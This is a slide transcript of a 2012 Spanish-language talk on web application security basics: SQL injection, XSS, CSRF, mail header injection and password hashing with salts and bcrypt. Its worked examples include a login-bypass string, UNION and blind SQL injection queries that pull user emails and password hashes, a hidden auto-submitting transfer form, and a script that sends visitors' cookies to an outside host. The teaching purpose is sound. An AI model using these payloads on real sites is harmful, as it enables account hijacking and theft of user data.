Seguridad WEB - Principios básicos.

81
Seguridad WEB Principios básicos de seguridad en aplicaciones web Una recorrida por los problemas mas comunes, SQL Injection, XSS, etc. Sábado 27 de Octubre de 2012, Charlas técnicas, Lanux.

description

Principios básicos de seguridad en aplicaciones web. Una recorrida por los problemas mas comunes, SQL Injection, XSS, etc.

Transcript of Seguridad WEB - Principios básicos.

Page 1: Seguridad WEB - Principios básicos.

Seguridad WEB

Principios básicos de seguridad en aplicaciones web Una recorrida por los

problemas mas comunes, SQL Injection, XSS, etc.

Sábado 27 de Octubre de 2012, Charlas técnicas, Lanux.

Page 2: Seguridad WEB - Principios básicos.

/about

Oscar Javier Gentilezza Arenas (a.k.a Exos)

Informático, curioso, desarrollador y paranoico.

Mail/jabber: [email protected]/Identi.ca: @exos

Blog: http://blog.exodica.com.arGPG: https://secure.exodica.com.ar/gpg/

Page 3: Seguridad WEB - Principios básicos.

Temas

● Por qué ser seguros● Aplicción insegura == aplicación mal hecha● Un poco de concepto● Inyección de codigo con SQL Injectión● XSS● XSRF / CSRF● Contraseñas, hashes y salts

Page 4: Seguridad WEB - Principios básicos.

Ser o no ser

Page 5: Seguridad WEB - Principios básicos.

Ser o no ser

Page 6: Seguridad WEB - Principios básicos.

Un gran poder conlleva una gran responsabilidad

Page 7: Seguridad WEB - Principios básicos.

Por qué ser seguros....

Datos personales

Intimidad

Contraseñas personales

Transacciones / dinero

Integridad de identidad

Page 8: Seguridad WEB - Principios básicos.

Aplicción insegura==

aplicación Mal hecha

Page 9: Seguridad WEB - Principios básicos.

Vulnerabilidad (según wikipedia)

Las vulnerabilidades son puntos débiles del software que permiten que un atacante

comprometa la integridad, disponibilidad o confidencialidad del mismo. Algunas de las vulnerabilidades más severas permiten que

los atacantes ejecuten código arbitrario, denominadas vulnerabilidades de seguridad,

en un sistema comprometido.

Page 10: Seguridad WEB - Principios básicos.

Errores en la web

Los ataques mas comunes a la web se realiza aprobechando errores de

programación (muchos conceptuales) que pueden ser evitables corrigiendo la forma en

que uno trabaja.

Page 11: Seguridad WEB - Principios básicos.

Un poco de concepto

Page 12: Seguridad WEB - Principios básicos.

La web en sus inicios

La web en sus inicios eran sitios con páginas estáticas hiperenlazadas entre si (entre paginas y webs), que podían contener

imágenes, texto y demas material multimedia.

Page 13: Seguridad WEB - Principios básicos.

La web ahora

En la actualidad los sitios webs son aplicaciones ricas en dinamismo que hacen

mas complejo el concepto de la web.

El usuario pasó a ser un lector (web 1.0) ha interactuar con contenidos o realizar ciertas

acciones desde esta (web 1.5) a directamente formar parte totalmente activa

de su contenido (web 2.0 ++)

Page 14: Seguridad WEB - Principios básicos.

Que compone la web?

● Se usan nombres de dominios como “direcciones” de los sitios webs

● Se consultan a servidores de nombres (DNS) para saber sus direcciones reales (Ips)

● Se consulta a dicha IP por el sitio en cuestión

Page 15: Seguridad WEB - Principios básicos.

Que hay en el medio?

● Browser (cliente o navegador web)● TCP/IP (internet)● Protocolos HTTP/HTTPS/SPDY ← (?)● Lenguajes (o pseudolenguajes) de

renderizado; html, css, xml, xslt-xsl● Contenido multimedia● Servidores

Page 16: Seguridad WEB - Principios básicos.

Las principales causas

● El no escapeo de los datos de e/s● La no validación de los datos de entrada● El no casteo de los datos de e/s● El no control de las peticiones

Page 17: Seguridad WEB - Principios básicos.

Inyecciones de código

La inyección de código se trata de enviar código arbitrario por variables de entrada no

escapados o validados, normalmente solemos comunicarnos con ciertos servicios

en un lenguaje específico, el caso de inyección mas conocido en la web en el de

SQL y se llama SQL Injection.

Page 18: Seguridad WEB - Principios básicos.

Inyección inboundPodemos ver datos!

Page 19: Seguridad WEB - Principios básicos.

Como inyectar código

Page 20: Seguridad WEB - Principios básicos.

$name = $_POST['name'];$password = $_POST['password'];

$sql = “SELECT * FROM Users WHERE name = '$name' AND password = '$password'”;

SELECT * FROM Users WHERE name = 'jose' AND password = '7h3R4m0n3$$'

Page 21: Seguridad WEB - Principios básicos.

User: adminPassword: ' or '' = '

SELECT * FROM Users WHERE name = 'admin' AND password = '' or '' = ''

SI user = 'admin' Y password = '' O '' = ''

Page 22: Seguridad WEB - Principios básicos.

Uso de Union

SELECT a,b,c,dFROM Tabla_AUNION SELECT a,b,c,dFROM Tabla_B

Page 23: Seguridad WEB - Principios básicos.

SELECTid, autor, titulo, texto, thumb

FROMNoticias

WHERECategoria = 25

ORDER BYfecha

http://www.sitiodenoticias.com/categoria.php?id=25

Page 24: Seguridad WEB - Principios básicos.

<ul><li class=”noticia”>

<h1>Justin Bieber dejó la musica<h1><p class=”resumen”>El cantante recibirá

el premi novel por haberlo hecho</p><span>

Por <em>Rodrigo Saraza</me></span>

</li></ul>

Page 25: Seguridad WEB - Principios básicos.

/categoria.php?id=25000000 UNION SELECT Id, email, password, null FROM Users

Page 26: Seguridad WEB - Principios básicos.

SELECTid, autor, titulo, texto, thumb

FROMNoticias

WHERECategoria = 25000000

UNION SELECTId, email, password, null

FROMUsers

ORDER BYfecha

Page 27: Seguridad WEB - Principios básicos.

<ul><li class=”noticia”>

<h1>admin<h1><p

class=”resumen”>[email protected]</p><span>

Por <em>*45f33ba4437df3a2...</me></span>

</li></ul>

Page 28: Seguridad WEB - Principios básicos.

SELECTid, autor, titulo, texto, thumb

FROMNoticias

WHERECategoria = 25000000

UNION SELECTuser(), null, null, null

ORDER BYfecha

Page 29: Seguridad WEB - Principios básicos.

Inyección outbound(inyección a ciegas)

Page 30: Seguridad WEB - Principios básicos.

/checknick.php?nick=jhon

SELECTcount(1)

FROMUsers

WHEREnick= 'jhon'

echo $row[0] ? “true” : “false”;

Page 31: Seguridad WEB - Principios básicos.

SELECTcount(1)

FROMUsers

WHEREnick= 'jhon'

ANDSUBSTR(

(SELECT Password FROM Users WHERE id = 1)

,1,1) = 'a'

Page 32: Seguridad WEB - Principios básicos.

SELECTcount(1)

FROMUsers

WHEREnick= 'jhon'

ANDSUBSTR(

(SELECT Password FROM Users WHERE id = 1)

,1,1) = 'a'

Page 33: Seguridad WEB - Principios básicos.

Cadena = ''For x in 1 to 32

For y in 0 to F If res(x,y) == true

Cadena += yBreak;

Raise “Sin true del 0 al f”

Print Cadena

De 32 a 16*32 intentos para obtener un MD5

Page 34: Seguridad WEB - Principios básicos.

SELECTcount(1)

FROMUsers

WHEREnick= 'jhon'

ANDIF(SUBSTR(

(SELECT Password FROM Users WHERE id = 1)

,1,1) = 'a',1,md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5('123456')))))))))))))))))))))))))))))) AND ''=''

Page 35: Seguridad WEB - Principios básicos.

No solo de SQL vive el pueblo

Page 36: Seguridad WEB - Principios básicos.

http://servicio.com/api/order=searchbook&id=35

Page 37: Seguridad WEB - Principios básicos.

http://servicio.com/api/order=searchbook&id=35&order=delete&id=54

Page 38: Seguridad WEB - Principios básicos.

<?php

$to = "[email protected]";$subject = "Hey $user want invite to socialhipters.com.";$message = "...";$replyto = $_POST['email'];

$headers = "From: [email protected]\r\n";$headers .= "Reply-To: $replyto\r\n";

if ( mail($to,$subject,$message,$headers) ) { echo "The email has been sent!";} else { echo "The email has failed!";}

?>

Page 39: Seguridad WEB - Principios básicos.

$to = "[email protected]";$subject = "Contact mail";$message = "This is a contact message from...";$replyto = $_POST['email'];

$headers = "From: [email protected]\r\n";$headers .= "Reply-To: [email protected]\r\nBcc: [email protected]\r\nContent-Type: multipart/mixed; boundary="MyBoundary"; Hidden Text1 --MyBoundary Content-Type: plain/text; I will kill you!!! --MyBoundary-- Hidden Text2\r\n";

if ( mail($to,$subject,$message,$headers) ) { echo "The email has been sent!";} else { echo "The email has failed!";}

Page 40: Seguridad WEB - Principios básicos.

XSS(Cross Site Scripting)

Page 41: Seguridad WEB - Principios básicos.

XSS, DefiniciónEn este caso nosotros tabién vamos a inyectar código, pero no para atacar al

servidor, sino para atacar a los usuarios, se puede decir que este ataque corre en cliente

(el browser), y con esto se puede lograr el robo de credenciales o se puede tomar un control limitado de la maquina “infectada”,

también se puede usar esta técnica para usar a un sitio vulnerable como distribuidor de

malware

Page 42: Seguridad WEB - Principios básicos.

Inyectando código javascript

Page 43: Seguridad WEB - Principios básicos.

Tipos de ataque XSS

● Reflejado (indirecto)● Persistente (directo)

Page 44: Seguridad WEB - Principios básicos.

Reflejado

Se logra inyectar código mediante una variable de entrada mal escapada o casteada y se genera así una URL maliciosa que tiene

que ser entregada a la víctima.

Page 45: Seguridad WEB - Principios básicos.

/login.php?err=usuario%20incorrecto

<php if ($_GET['err']): ?><div class=”error”>

<?= $_GET['err'] ?></div>

<?php endif; ?>

Page 46: Seguridad WEB - Principios básicos.

/login.php?err=<script>alert('atrapado')</script>

<php if ($_GET['err']): ?><div class=”error”>

<?= $_GET['err'] ?></div>

<?php endif; ?>

Page 47: Seguridad WEB - Principios básicos.

Persistente

Se llama persistente cuando queda almacenado del lado del servidor, por lo que cualquier usuario que use el sitio es victima

indirectamente del ataque.

Page 48: Seguridad WEB - Principios básicos.

Como funciona

Supongamos que tenemos comentarios:

If ($_POST) {$name = $_POST['name'];$email = $_POST['email'];$comment = $_POST['comment'];

saveComment($email, $comment);….

}

Page 49: Seguridad WEB - Principios básicos.

<ul class=”comentarios”><li>

<span><?= $name ?> dijo...</span><p><?= $comment ?></p>

</li>….

</ul>

Page 50: Seguridad WEB - Principios básicos.

<ul class=”comentarios”><li>

<span>Funalito dijo...</span><p>Que buena noticia, ya era hora

<script>alert('infectado!')</script></p> </li>

….</ul>

Page 51: Seguridad WEB - Principios básicos.

Peticiones post

<iframe style=”display:none” name=”badiframe” /><form action=”/transferirplata.php” method=”post” id=”f” target=”badiframe”><input type=”hidden” name=”to” value=”25” /></form><script>document.getElementById('f').submit();</script>

Page 52: Seguridad WEB - Principios básicos.

Robo de credenciales(Hijacking, suplantación de identidad)

Page 53: Seguridad WEB - Principios básicos.

Concepto de sesiones

Para que los usuarios puedan tener su espacio propio en una web, o hacer acciones vilculadas a un usario en el sistema, se suele

usar el concepto de session (sesión), esto quiere decir que una vez que se comprueba

que el usuario es tal atravez de una autentificación por login, se crea una session donde se guarda información temporalemte.

Page 54: Seguridad WEB - Principios básicos.

Entendiendo las cookiesPara que los navegadores no tengan que enviar todo el tiempo datos de login, para

identificar una sesión, se suelen usar cookies, que es un pequeño espacio en el browser (4KB) que el sitio puede usar para almacenar datos, la información va del lado

del servidor, por lo que en las cookies solo se guarda un identificador difícil de repodrucir o suponer, esta cookie es del tipo de cookie de

sesión y tiene un tiempo de vida corto.

Page 55: Seguridad WEB - Principios básicos.

Robo de credencialesLas cookies son accesibles desde

JavaScript, ya que tambien se puede usar para almacenar cosas de este lado, eso

quiere decir que si yo inyecto código JavaScript en una página donde un usuario

la está visitando logueado, voy a poder hacer uso de sus cookies, y enviarmelas a mi

mismo, suplantando su identidad, ya que el servidor creerá que las peticiones vienen del

usuario y no de un extraño.

Page 56: Seguridad WEB - Principios básicos.

<ul class=”comentarios”><li>

<span>Funalito dijo...</span><p>Que buena noticia, ya era hora

<script>document.write('<img src=”http://misite.com/hack.php?cookies=' + document.cookie + '” />')</script></p> </li>

….</ul>

Page 57: Seguridad WEB - Principios básicos.

Ejemplo de url maliciosa

Page 58: Seguridad WEB - Principios básicos.
Page 59: Seguridad WEB - Principios básicos.

Cookies HttpOnly

Page 60: Seguridad WEB - Principios básicos.

Solo por HTTP

Para evitar los robos de credenciales, se creo una propiedad en las cookies llamada

HttpOnly que quiere decir que solo se van a mandar y recibir por peticiones http y no

serán visibles desde JavaScript.

Page 61: Seguridad WEB - Principios básicos.

Método TracePara poder saltar la limitación de HttpOnly, se hace

uso del método Trace, hecho para debugear peticiones, este metodo a diferencia del GET, no

solo devuelve el contenido, sino también la cabecera de la petición en el cuerpo de la repuesta,

por lo que se puede hacer mediante XMLHttpRequest y luego parsearlo, la forma de

evitar esto es bloquear el metodo Trace del servidor, igualmente los browser modernos no permiten estas

peticiones por ajax.

Page 62: Seguridad WEB - Principios básicos.

Robando cookies en ApacheEsta año se descubrió una vulnerabilidad todabia vigente en gran cantidad de servidores, donde se pueden obtener las cookies HttpOnly atravez del

mensaje por defecto del error 400 (Bad Request) de Apache.

Cuando se envia una cabezera muy larga e servidor responde con 400 mostrando la cabecera que provocó el error, si se genera mediante javascript una cookie de unos 7KB y se envia una petición, la respuesta tendrá

consigo la cabecera http, con las cookies HttpOnly también.

Page 63: Seguridad WEB - Principios básicos.

Los apaches afectados son desde la versión 2.2.0 a la 2.2.21

Page 64: Seguridad WEB - Principios básicos.
Page 65: Seguridad WEB - Principios básicos.

CSRF / XSRF( Cross Site Request Forgery )

Page 66: Seguridad WEB - Principios básicos.

Un Ataque de CSRF, fuerza al navegador "logueado" de la victima a mandar un

"request HTTP", incluyendo el cookie de sesión de la victima y cualquier otra

información de validación de la victima a una aplicación web vulnerable. Esto permite al atacante forzar al navegador de la victima

para cometer daños o estafas que la aplicación piensa son iniciados por un usuario

legítimo.

Page 67: Seguridad WEB - Principios básicos.

Almacenamiento de Contraseñas(cuidando al usuario)

Page 68: Seguridad WEB - Principios básicos.

Guardando contraseñas de forma segura

Como vimos antes, muchos ataques sirven para leer arbitrariamente datos de la base de datos que no deberíamos, entre esos datos

las contraseñas, y como vimos en el ejemplo de SQL Inyection, solo se obtenian Hashes.

Page 69: Seguridad WEB - Principios básicos.

Concepto de HASH

Una función hash es una operación que aplica un algoritmo que mapea una cadena

en otra cadena de longitud fija cuyo resultado es irreversible, osea no se puede llegar a la cadena “sumada” con el resultado de esta

suma. De esta forma algo que es hasheado es irrecuperable matematicamente.

Page 70: Seguridad WEB - Principios básicos.

Tipos de hashes (mas usados)

● MD5● MySQL Password● SHA-1● SHA-256● SHA-512 (no se usa tanto)

Page 71: Seguridad WEB - Principios básicos.

Ventajas

Un sistema no necesita saber la contraseña de un usuario para autentificarlo, a la hora de

guardar las contraseñas debemos hashearlas, asi en caso de que alguien tenga acceso a estas no las tenga en claro, y no las

pueda usar.

Page 72: Seguridad WEB - Principios básicos.

Problema con hashes

Cada vez la computación avanza mas, y los métodos de hash utilizados, aunque seguros

y robustos, se vuelven insuficientes a los ataques de fuerza bruta, los hashes estan hechos para ser rápidos, lo que hace que generar grandes diccionarios o Rainbows tables de estos sea cada vez mas fácil.

Page 73: Seguridad WEB - Principios básicos.

EjemploMd5('123456')

='e10adc3949ba59abbe56e057f20f883e'

La robustes del algoritmo, es que no se puede llega a '123456' desde el hash, pero si un atacante consigue esta hash, no le va a

costar deducir el resultado...

Page 74: Seguridad WEB - Principios básicos.
Page 75: Seguridad WEB - Principios básicos.

GPU

Las placas de video con sus microprocesadores (GPUs) cada vez tienen

mas poder y aunque son operaciones simples de suma y resta, suelen tener

muchos cores, y ser realemente rápidas, por lo que pueden crear hasta 5 mil millones de

hashes md5 por segundo.

Page 76: Seguridad WEB - Principios básicos.

Poniendole un poco de sal al asunto

Page 77: Seguridad WEB - Principios básicos.

Salts

Los salts, son string que se utilizan de apoyo a la contraseña, a si si un atacante consigue una contraseña hasheada, aunque esta sea

debil, no podrá conseguir deducirla sin el salt, de esta forma podemos, en vez de hacer un

md5 de la password, hacer un md5 de un string secreo + la password:

md5(salt + password)

Page 78: Seguridad WEB - Principios básicos.

El tamaño.... si importa

Page 79: Seguridad WEB - Principios básicos.

El tamaño importaCuando más larga y mas combinaciones por byte tenga un password o salt, mas tiempo

tomará su crackeo, volviendo el ataque irrealizable.

Un salt puede ser binario, si tenemos en cuenta que cada byte puede tener 256 posibilidades, con un salt de 30 bytes,

tendrían 256³ posibilidades, y eso ⁰multiplicado por lo que aporte la contraseña.

Page 80: Seguridad WEB - Principios básicos.

Por úlrimo recomiendo el uso de bcrypt, ya que es robusto, y ya tiene incorporado lo del

salt.

bcrypt

Page 81: Seguridad WEB - Principios básicos.

¿Preguntas?

Hasta aca llegamos